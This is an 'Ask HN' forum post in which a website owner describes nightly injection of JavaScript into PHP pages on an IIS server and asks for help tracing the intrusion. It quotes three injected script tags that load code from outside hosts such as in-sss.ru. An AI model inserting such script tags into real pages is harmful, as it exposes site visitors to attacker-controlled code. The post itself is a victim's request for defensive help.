Ask HN: website getting hacked through code injection

hi HN, for the past 4-5 days every night my website is somehow hacked and some javascript codes which redirect to a php page are inserted in my code. The problem is i know the server is not compromised cause the only access to the server through RDP is allowed through my IP on the firewall. aside from that it's only open on port 80,110 and 25.

also the date modified on the php script being edited doesn't change. it stays the same even though they are adding code to it. i've installed a malware inspector on the server and it didn't return anything.

i did some digging and made sure there are no "eval" code in my php sites and now i'm out of ideas. i remove the injection code but looks like every night at 12am it gets put back in somehow.

i looked at the IIS logs on the server and don't see any hits for those URLS. can you please help me and guide me on how to start troubleshooting this and pinpointing it down in my code to see where the attacker is getting in?

the code they inject is below: <script type="text/javascript" src="http://in-sss.ru/code/js.php?i=5837&r=10568&p=12914&c=8"></script>; <script type="text/javascript" src="http://wap-ttd.in/code/js.php?i=5837&r=10568&p=12914&c=8"></script>; <script type="text/javascript" src="http://mnogo-code.ru/code/js.php?i=5837&r=10568&p=12914&c=8"></script>;

thanks